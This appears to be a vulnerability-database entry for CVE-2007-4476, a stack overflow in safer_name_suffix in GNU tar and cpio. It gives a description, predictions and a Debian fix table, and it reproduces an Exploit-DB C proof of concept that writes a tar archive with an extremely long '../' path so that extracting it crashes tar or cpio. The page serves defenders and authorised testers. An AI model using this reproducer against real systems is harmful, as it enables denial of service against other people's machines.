CVE-2007-4476
unknown
CVSS v3
—
CVSS v4 NEW
—
VIR risk
1.0
Description
Buffer overflow in the safer_name_suffix function in GNU tar has unspecified attack vectors and impact, resulting in a "crashing stack."
Predictions
Exploit likelihood
20%
Patch ETA
—
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
GNU TAR 1.15.91 / CPIO 2.5.90 - 'safer_name_suffix' Remote Denial of Service
// source: https://www.securityfocus.com/bid/26445/info
GNU's tar and cpio utilities are prone to a denial-of-service vulnerability because of insecure use of the 'alloca()' function.
Successfully exploiting this issue allows attackers to crash the affected utilities and possibly to execute code, but this has not been confirmed.
GNU tar and cpio utilities share the same vulnerable code and are both affected. Other utilities sharing this code may also be affected.
/*
* paxlib's safer_name_suffix() stack overflow reproducer.
*/
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <libtar.h>
int main(int ac, const char *av[])
{
struct rlimit r;
unsigned count, i;
char *s;
TAR *t;
if (ac != 2)
error(1, 0, "exactly two arguments expected");
if (getrlimit(RLIMIT_STACK, &r))
error(1, errno, "getrlimit RLIMIT_STACK");
count = r.rlim_cur / 3 + 1;
if (!(s = malloc(count * 3 + 1)))
error(1, errno, "malloc: %u", count * 3 + 1);
for (i = 0; i < count; ++i)
memcpy(s + i * 3, "../", 3);
s[count * 3] = '\0';
if (tar_open(&t, av[1], NULL, O_WRONLY|O_CREAT, 0644, TAR_GNU))
error(1, errno, "tar_open: %s", av[1]);
if (tar_append_file(t, "/dev/null", s))
error(1, errno, "tar_append_file: %s", av[1]);
if (tar_close(t))
error(1, errno, "tar_close");
return 0;
}
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 2.9-5 |
| sid | Fixed | 2.9-5 |
| forky | Fixed | 2.9-5 |
| bullseye | Fixed | 2.9-5 |
| bookworm | Fixed | 2.9-5 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.